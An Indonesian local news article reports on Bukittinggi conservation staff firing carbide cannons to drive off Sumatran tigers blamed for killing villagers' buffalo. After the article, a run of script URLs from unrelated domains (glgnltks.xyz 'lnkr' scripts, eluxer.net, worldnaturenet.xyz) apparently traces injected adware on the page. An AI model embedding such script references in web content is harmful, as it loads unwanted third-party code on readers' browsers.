Ruang Publik

BKSDA Resort Bukittinggi Bunyikan Meriam Karbit Untuk Mengusir Keberadaan Harimau di Jorong PGRM

HaloBukittinggi : Balai Konservasi Sumber Daya Alam (BKSDA) Resort Bukittinggi, saat ini tengah berupaya mengusir Harimau Sumatera yang diduga kuat menjadi penyebab hilangnya lima ekor kerbau masyarakat, di Jorong Pandam Gadang Ranggo Malai (PGRM) Nagari Gaduik, Kecamatan Tilatang Kamang, Kabupaten Agam.

Kepala Resort BKSDA Bukittinggi Andrick, Minggu (11/6/2017), mengatakan, informasi awal serangan terhadap ternak ini setelah adanya laporan masyarakat tentang Harimau Sumatera, dan saat BKSDA Resort Bukittinggi melakukan pengecekan ke lokasi benar dilihat ada jejak satwa ini, dan dari jejak yang ditinggalkan kemungkinan ada dua ekor dilihat dari besar dan kecilnya jejak itu, sementara untuk penampakan langsung oleh masyarakat belum ada laporan.

“Awalnya masyarakat di Jorong PGRM ini dikejutkan dengan hilangnya beberapa ekor ternak Kerbau, dan kemudian warga ini menemukan bangkai-bangkai Kerbau di lokasi Pinang Tabaliak,” ulasnya.

Menurut Andrick, di sekitar bangkai terlihat jejak kaki Harimau, dan lokasi kejadian ini berada dekat sebuah lembah sebelah Hotel Parai, kondisinya memang sangat dekat dengan hutan yang menghubungkan wilayah Kecamatan Palembayan maupun Kecamatan Palupuah yang berbatasan dengan Kecamatan Tilatang Kamang, sekitar 1 Km dari pemukiman terdekat.

“Sebagai tidank lanjut mengatasi permasalahan ini sambung Andrick, BKSDA Resort Bukittinggi bersama warga saat ini sedang berupaya mengusir satwa liar yang diduga kuat harimau itu, sesuai dengan Standar Operasional Prosesdur (SOP) yakni peraturan Mentri Kehutanan nomor 48 tahun 2008, tentang penanggulangan konflik antara manusia dengan satwa liar,” jelasnya.

Kegiatan yang dilakukan sambung Andrick dengan penggiringan, menghalau satwa jenis Harimau itu dengan menggunakan bunyi-bunyia an dari meriam karbit, dan apabila cara ini tidak berhasil, berikutnya akan ditindaklanjuti dengan pemasangan perangkap.

Andrick menambahkan, kegiatan pengusiran harimau dengan menggunakan meriam karbit ini akan dilakukan selama dua hari kedepan, dengan harapan dapat membuat Harimau Sumatera yang menjadi target lari dari pemukiman warga, sehingga tidak ada lagi ternak yang menjadi sasaran keganasannya. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=8https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top